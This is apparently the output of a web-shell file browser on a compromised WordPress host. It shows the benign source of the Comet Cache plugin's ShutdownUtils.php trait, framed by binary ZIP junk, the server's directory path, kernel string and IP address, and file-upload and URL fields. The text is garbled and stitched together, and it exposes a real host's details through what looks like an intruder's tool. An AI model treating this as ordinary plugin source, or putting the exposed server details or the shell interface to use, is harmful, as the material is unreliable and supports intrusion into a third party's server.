PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/v1world.us/wp-content/plugins/comet-cache/src/includes/traits/Ac/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : //home/trave494/v1world.us/wp-content/plugins/comet-cache/src/includes/traits/Ac/ShutdownUtils.php

<?php
namespace WebSharks\CometCache\Traits\Ac;

use WebSharks\CometCache\Classes;

trait ShutdownUtils
{
    /**
     * Registers a shutdown flag.
     *
     * @since 140605 Improving output buffer.
     *
     * @note In `/wp-settings.php`, Comet Cache is loaded before WP registers its own shutdown function.
     * Therefore, this flag is set before {@link shutdown_action_hook()} fires, and thus before {@link wp_ob_end_flush_all()}.
     *
     * @see http://www.php.net/manual/en/function.register-shutdown-function.php
     */
    public function registerShutdownFlag()
    {
        register_shutdown_function(
            function () {
                $GLOBALS[GLOBAL_NS.'_shutdown_flag'] = -1;
            }
        );
    }
}